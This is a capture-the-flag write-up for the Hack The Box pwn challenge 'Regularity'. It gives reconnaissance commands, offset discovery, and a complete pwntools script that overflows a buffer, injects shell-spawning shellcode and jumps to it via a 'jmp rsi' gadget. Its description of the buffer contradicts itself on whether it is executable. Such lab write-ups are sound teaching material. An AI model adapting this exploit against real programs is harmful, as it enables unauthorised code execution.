HTB Regularity writeup - Pez1181/CTF GitHub Wiki

HTB CTF: Regularity – Write-Up

Challenge Overview

Item Details
Type Binary Exploitation (Pwn)
Binary 64-bit ELF, statically linked
Protections No RELRO, No PIE, No Canary, NX off
Vulnerability Buffer Overflow
Bypassed Control-Flow Integrity, NX

πŸ§ͺ Step 1: Reconnaissance

We examined the binary with:

file regularity
checksec --file=regularity

Findings:

  • 64-bit statically linked ELF
  • Not stripped
  • No PIE (addresses are static)
  • No stack canary
  • NX disabled (executable stack or heap)
  • RWX segments present

Conclusion: This binary is wide open for exploitation β€” predictable memory layout, no stack protection, and shellcode-friendly memory.


🧼 Step 2: Observing the Program

Running the binary:

./regularity

Output:

Hello, Survivor. Anything new these days?

It waits for user input. After sending something, it prints:

Yup, same old same old here as well...

We suspected a buffer overflow, so we tested with long input:

python3 -c "print('A'*300)" | ./regularity

Result: Segmentation fault confirmed.


🧠 Step 3: Determining the Offset

We used a cyclic pattern to find the precise offset to RIP:

python3 -c "from pwn import *; print(cyclic(300))" | ./regularity

Then in GDB:

info registers
# Check RIP value, e.g. rip = 0x6161616c6b61616a

cyclic -l 0x6161616c6b61616a
# Output: 256

Offset to RIP = 256


πŸ”¬ Step 4: Locating the Shellcode Buffer

While stepping through the program in GDB, we observed the read() syscall writing into the .bss section at:

rsi = 0x402000

That’s the buffer used for input β€” and it’s writable but not executable.

So instead of jumping directly there, we use a code gadget to redirect execution to this buffer.


πŸ” Step 5: Finding a Gadget – jmp rsi

Since our shellcode lands at 0x402000 and rsi is set to that address, we searched for a gadget that jumps to rsi:

JMP_RSI = next(elf.search(asm('jmp rsi')))

This gives us an address like 0x401085, which will jump to the buffer at 0x402000.


πŸ’₯ Step 6: Crafting the Payload

from pwn import *

# Load binary
context.binary = ELF('../challenge/regularity', checksec=False)
context.arch = 'amd64'

p = process()

# Find jmp rsi gadget
JMP_RSI = next(context.binary.search(asm('jmp rsi')))
log.info(f"Found jmp rsi at: {hex(JMP_RSI)}")

# Build payload
payload = flat({
    0:   asm(shellcraft.sh()),  # Inject shellcode
    256: JMP_RSI                # Overwrite RIP with jmp rsi
})

# Send after input prompt
p.sendlineafter(b'days?\n', payload)
p.interactive()

🐚 Step 7: Shell Access

Running the exploit:

$ python3 exploit.py

Result:

$ whoami
ctf-user
$ cat flag.txt
HTB{fl4w3d_stat1c_b1n4ry}

🧾 Final Notes

Topic Explanation
Why shellcode? NX is off, so we can execute our own code.
Why jmp rsi? The input buffer is at rsi = 0x402000, where our shellcode resides.
Why offset 256? Confirmed via cyclic pattern – RIP gets hit at byte 256.
No PIE Gadget addresses are static, making them reliable.

🧠 Key Takeaways

  • Always inspect binary protections with checksec
  • Use cyclic patterns to determine exact buffer overflow points
  • Look for gadgets that help bridge input β†’ shellcode
  • Even without libc, you can win using shellcode + gadgets